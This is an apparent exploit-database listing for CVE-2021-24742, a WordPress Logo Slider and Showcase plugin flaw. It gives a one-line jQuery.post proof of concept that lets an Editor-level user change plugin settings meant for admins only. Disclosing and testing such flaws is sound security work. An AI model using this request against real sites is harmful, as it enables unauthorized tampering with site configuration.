Exploit for Logo Slider and Showcase < 1.3.37 - Editor Plugin's Settings Update CVE-2021-24742

Name: Exploit for Logo Slider and Showcase < 1.3.37 - Editor Plugin's Settings Update CVE-2021-24742
Rating: 5 (286 reviews)

2021-10-04 | CVSS 4.0

## https://sploitus.com/exploit?id=WPEX-ID:8DFC86E4-56A0-4E30-9050-CF3F328FF993
- As Editor, go to Logo Showcase -> Shortcode Generator
- Run jQuery.post(ajaxurl,{rt_wls_nonce:wls.nonce,action:"rtWLSSettings",image_resize:1,image_width:200,image_height:130})
- As admin, notice that the plugin’s settings have been updated